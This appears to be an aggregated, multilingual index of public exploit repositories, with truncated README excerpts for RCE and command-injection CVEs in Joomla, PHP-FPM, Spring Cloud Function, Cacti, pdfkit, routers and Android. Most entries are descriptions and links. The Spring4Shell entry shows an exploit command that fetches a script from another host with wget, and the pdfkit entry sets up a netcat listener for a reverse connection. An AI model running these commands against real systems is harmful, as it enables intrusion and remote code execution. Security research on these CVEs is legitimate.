setup-cve-2015-8562

Joomla! RCE CVE 2015-8562 Archivo Docker compose para configurar el entorno de prueba de CVE 2015-8562 Tabla de contenidos 1. Acerca del proyecto 2. Comenzando Requisitos previos Instalación 3. Uso 4. Contribuir 5. Licencia Acerca del proyecto Este proyecto incluye un archivo Docker compose para...

CVE-2017-11882-exp

CVE-2017-11882 43b el script original proviene de https://github.com/embedi/CVE-2017-11882 109b el script original proviene de https://github.com/unamer/CVE-2017-11882/ Un saludo, ahora el código de unamer ya puede ejecutar shellcode CVE-2017-11882:...

CVE-2022-24990

CVE-2022-24990 CVE-2022-24990 Fuite d'informations + RCE : tout-en-un Ce PoC écrit un fichier sur la cible ; ici, il écrit phpinfo. Si vous avez besoin d'autres fonctionnalités, modifiez-le vous-même. Ne l'utilisez pas à des fins illégales...

CVE-2023-26866

CVE-2023-26866 الوصف تعتبر وحدة WR-1200 الداخلية من GreenPacket OH736 ووحدة OT-235 مع إصدارات البرامج الثابتة M-IDU-1.6.0.3V1.1 و MH-46360-2.0.3-R5-GP على التوالي معرضة لحقن الأوامر عن بُعد. يتم تنفيذ الأوامر باستخدام تنفيذ ما قبل تسجيل الدخول ويتم تنفيذها بصلاحيات الجذر مما يسمح بالسيطرة الكاملة...

CVE-2019-0604

CVE-2019-0604 CVE-2019-0604 From https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability...

CVE-2019-11043

CVE-2019-11043 Ejecución remota de código en PHP-FPM Videotutorial: https://youtu.be/d6benC5FVZM Resumen Este exploit de día cero en configuraciones comunes de PHP-FPM fue descubierto durante la competencia Realworld CTF en 2019. Se utiliza una expresión regular para analizar la URI solicitada,...

CVE-2021-41653

CVE-2021-41653 TP-Link TL-WR840N EU v5 Ejecución Remota de Código Referencia: https://k4m1ll0.com/cve-2021-41653.html...

CVE-2023-43364-Exploit-CVE

CVE-2023-43364-Exploit-CVE Este es un script de Python para explotar Searchor 2.4.0: la función eval fue implementada de forma insegura y puede ser explotada para RCE. Esta máquina depende de que busybox esté instalado, ya que escribí esto para la máquina Busqueda de HackTheBox. Simplemente...

CVE-2024-25641-RCE-Automated-Exploit-Cacti-1.2.26

CVE-2024-25641-RCE-Automated-Exploit-Cacti-1.2.26 استغلال آلي بالكامل لـ CVE-2024-25641. عندما يكون المستخدم مصادقًا، يكون إصدار Cacti 1.2.26 عرضة لثغرة كتابة ملفات عشوائية، قابلة للاستغلال عبر ميزة "استيراد الحزم" Package Import، مما يسمح للمستخدمين المصادقين الذين لديهم صلاحية "استيراد القوالب"...

CVE-2022-22963-PoC

CVE-2022-22963: Spring4Shell RCE Exploit This is a python implemetation of Spring4Shell, CVE-2022-22963, affecting services running Spring Cloud Function /tmp/rce $ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh' + Host is vulnerable + Command executed + Explo...

SUSE CVE-2026-59680

An OS command injection vulnerability was found in yast2-users. When displaying the "Password Settings" tab of a user, getpasswordterm in src/include/users/dialogs.rb read the shadowLastChange and shadowExpire fields with GetString, which performs no numeric validation, and passed the resulting...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 Detalle Descripción El paquete pdfkit desde 0.0.0 es vulnerable a Inyección de Comandos donde la URL no está debidamente saneada. PoC Iniciar un servidor HTTP root@kitploit: 1- python3 -m http.server 80 Iniciar un listener de netcat root@kitploit: 2- nc -lnvp...

CVE-2023-26852-Textpattern-v4.8.8-and-

CVE-2023-26852-Textpattern-v4.8.8-et versions inférieures Textpattern v4.8.8 et versions inférieures sont vulnérables à un téléchargement de fichier sans restriction – Contenu de fichier dangereux menant à l'exécution de code à distance Ceci est mon premier dépôt. Ne m'en voulez pas si je n'ai pa...

CVE-2023-24249-PoC

CVE-2023-24249 PoC CVE-2023-24249 is an arbitrary file upload vulnerability in laravel-admin v1.8.19. This proof of concept exploits the vulnerability to upload a web shell. The exploit was written to use against the HackTheBox easy machine Usage. Example root@kitploit: python3 CVE-2023-24249.py ...

cve-2020-24572

CVE-2020-24572 Se descubrió un problema en includes/webconsole.php en RaspAP 2.5. Con acceso autenticado, un atacante puede utilizar una consola web mal configurada y prácticamente sin restricciones para atacar el sistema operativo subyacente que ejecuta este software, y ejecutar comandos en el...

cve-2019-2725

cve-2019-2725 References: Tenable - https://www.tenable.com/blog/oracle-weblogic-affected-by-unauthenticated-remote-code-execution-vulnerability-cve-2019-2725 Exploit Database - https://www.exploit-db.com/exploits/46780 PaloAlto -...

CVE-2024-6387

0.Summary This is essentially a statistical vulnerability: it requires a large number of attempts to win the race condition and successfully execute arbitrary code, and the attacker needs to overcome many obstacles," Schwartz told SecurityWeek. "Even in the best case, the most famous vulnerabilit...

httpd-2.4.49

httpd-2.4.49 crítico: Recorrido de Rutas y Ejecución Remota de Código en Apache HTTP Server 2.4.49 y 2.4.50 solución incompleta de CVE-2021-41773 CVE-2021-42013...

Apache-RocketMQ-RCE-CVE-2023-37582-poc

This repository does not have a README...

cve-2014-7920-7921

cve-2014-7920-7921 Exploit code for CVE-2014-7920 and CVE-2014-7921 - code-exec in mediaserver up to Android 5.1 The symbols in this exploit are for Android 4.3, for can be adapted to any version up to Android 5.1...